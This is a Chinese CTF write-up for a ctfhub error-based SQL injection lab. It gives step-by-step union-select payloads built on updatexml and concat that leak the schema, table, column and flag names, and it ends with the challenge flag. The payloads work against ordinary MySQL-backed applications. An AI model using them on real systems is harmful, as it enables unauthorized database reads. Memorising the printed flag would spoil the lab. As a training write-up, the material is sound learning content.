zl程序教程

您现在的位置是:首页 >  后端

当前栏目

【ctfhub】SQL注入报错注入

注入SQL 报错
2023-09-14 09:15:03 时间

题目描述:

在这里插入图片描述我们输入1
在这里插入图片描述得到查询正确
我们再输入1`试试
在这里插入图片描述

给出了报错内容,并且标明了错误点是`

然后我们利用sql函数进行查询

-1 union select updatexml(1,concat('~', substr((select group_concat(schema_name) from information_schema.schemata),1,31) ),1)
-1 union select updatexml(1,concat('~', substr((select group_concat(schema_name) from information_schema.schemata),30,31) ),1)

在这里插入图片描述在这里插入图片描述

库名为 sqli
查询表名

-1 union select updatexml(1,concat('~', substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),1,31) ),1)

在这里插入图片描述
查询列名

-1 union select updatexml(1,concat('~', substr((select group_concat(column_name) from information_schema.columns where table_schema='sqli'  && table_name='flag'),1,31) ),1)

在这里插入图片描述
查询字段

-1 union select updatexml(1,concat('~', substr((select group_concat(flag) from flag),1,31) ),1)
-1 union select updatexml(1,concat('~', substr((select group_concat(flag) from flag),20,31) ),1)

在这里插入图片描述
在这里插入图片描述得到flag

ctfhub{455aa3bdb68aebab7571a24c}